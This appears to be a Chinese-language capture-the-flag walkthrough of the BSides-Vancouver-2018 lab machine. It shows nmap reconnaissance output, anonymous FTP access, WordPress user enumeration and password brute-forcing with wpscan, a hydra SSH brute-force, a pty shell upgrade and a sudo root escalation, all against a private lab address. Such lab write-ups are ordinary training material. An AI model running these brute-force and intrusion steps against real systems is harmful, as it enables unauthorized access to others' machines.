BSides-Vancouver-2018 ftp匿名访问、hydra爆破22端口、nc瑞士军刀、提权
BSides-Vancouver-2018 ftp匿名访问、hydra爆破22端口、nc瑞士军刀、提权
一、信息收集 2025.3.15 AM 08:50
1、主机发现
arp-scan -l
nmap -sn 192.168.66.24/0
2、端口扫描
简略扫描
nmap -sS -sV 192.168.66.183
简单扫描端口
21/tcp open ftp vsftpd 2.3.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
漏洞扫描
nmap --script=vuln -p 21,22,80 192.168.66.183
扫描端口历史漏洞
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_ /robots.txt: Robots file
详细扫描
nmap -sS -A -T4 -p- 192.168.66.183
详细扫描
21/tcp open ftp vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.66.129
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
| 2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_ 256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/backup_wordpress
|_http-title: Site doesn't have a title (text/html).
3、扫描目录
dirb http://192.168.66.183 dirsearch -u http://192.168.66.183/ -e * -i 200 nikto -h 192.168.66.183 -p 80 gobuster dir -u http://192.168.66.183/backup_wordpress/-t30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,301,302
4、端口访问
Ⅰ、21端口
nc 192.168.66.183 21
这里有个匿名访问,我们先尝试连接21端口,我们拿nc连一下
这里我们连接成功
这里我们得到了几个账户,但是还没有密码,我们可以尝试爆破。
用wpscan扫描WordPress,暴破后台用户名
wpscan --url http://192.168.66.183/backup_wordpress --enumerate u
这两个账户我们再wordpress里面也能找到这两个账户
wpscan --url http://192.168.66.183/backup_wordpress --passwords /usr/share/wordlists/top10000password.txt --usernames john
这里我们也爆出了账户密码,我们等了一下
Ⅱ、80端口
这里说服务已启动,我们回归目录扫描 我们扫描出来一个robots.txt,然后因该是提示我们有备份文件,我们访问一下
这是一个wordpress备份,按经验来说应该有文件上传点,我们发现了还有一个管理员john
5、隧道建立
我们登录了一个账户
这里也可以上传木马,或者在插件出上传一句话也可以
我们连接到了,先修复一下shell
python -c 'import pty;pty.spawn("/bin/bash")'
6、提权
这里home目录下有几个用户,只有anne这个用户可以ssh连接,我们hydra爆破一下
hydra -L 1.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.183 ssh
ok,我们爆破出来了账户密码,我们ssh连接一下
这里我们sudo -l显示我们对所有文件都有root权限,我们直接sudo su root即可
7、扩展
这里还有其他提权方式
1,查找具有777权限的文件
find / -type f -perm 0777 2>/dev/null
关键参数解析:
sudo
以 root 权限执行,避免因目录不可读导致的遗漏(若以普通用户身份运行,可能漏掉大量文件)。
-perm 0777
严格匹配权限为 777 的文件(八进制写法更规范)。
2>/dev/null
忽略所有错误(如权限拒绝、文件不存在等)。
后续我也会出更多打靶文章,希望大家关注!谢谢